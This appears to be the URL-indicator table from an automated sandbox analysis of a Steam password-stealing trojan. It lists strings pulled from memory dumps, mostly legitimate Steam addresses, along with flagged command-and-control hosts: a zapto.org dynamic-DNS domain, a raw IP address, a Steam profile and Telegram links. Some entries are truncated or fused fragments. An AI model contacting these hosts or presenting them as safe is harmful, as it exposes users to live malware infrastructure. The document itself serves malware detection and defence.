https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199747278259/badges	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://188.245.87.202/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FA5000.00000004.00000020.00020000.00000000.sdmp	false	16%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://s.ytimg.com;	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://arpdabl.zapto.org/n	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FA5000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://steam.tv/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=WRaH	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://store.steampowered.com/privacy_agreement/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://store.steampowered.com/points/shop/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://arpdabl.zapto.org38.149	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199747278259gi_z2Mozilla/5.0	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://sketchfab.com	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://lv.queniujq.cn	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.youtube.com/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://store.steampowered.com/privacy_agreement/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=QI-9YLc_mdtk&l=en	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=puGcKUBV	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://188.245.87.202/rosoft	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://checkout.steampowered.com/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199747278259ex	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://arpdabl.zapto.org	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://188.245.87.202/0	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FAB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FA5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/;	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/about/	76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/my/wishlist/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://t.me/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FAB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FA5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://188.245.87.202/T	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FAB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FA5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	URL Reputation: safe	unknown
https://web.telegram.org	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/armad2ahellosqls.dllsqlite3.dllIn	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/en/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/market/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/news/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://arpdabl.zapto..5938.149	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://store.steampowered.com/subscriber_agreement/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199747278259/inventory/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: malware	unknown
https://recaptcha.net/recaptcha/;	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
http://arpdabl.zapto	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://188.245.87.202	76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/discussions/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=09hfUHwxDUY7&l=e	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
http://arpdabl.zapto.org/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FA5000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://store.steampowered.com/stats/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://medal.tv	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://broadcast.st.dl.eccdnx.com	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/steam_refunds/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
http://store.steampowered.com/privacy_agreemen	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://188.245.87.202/c	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FAB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FA5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/workshop/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://login.steampowered.com/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
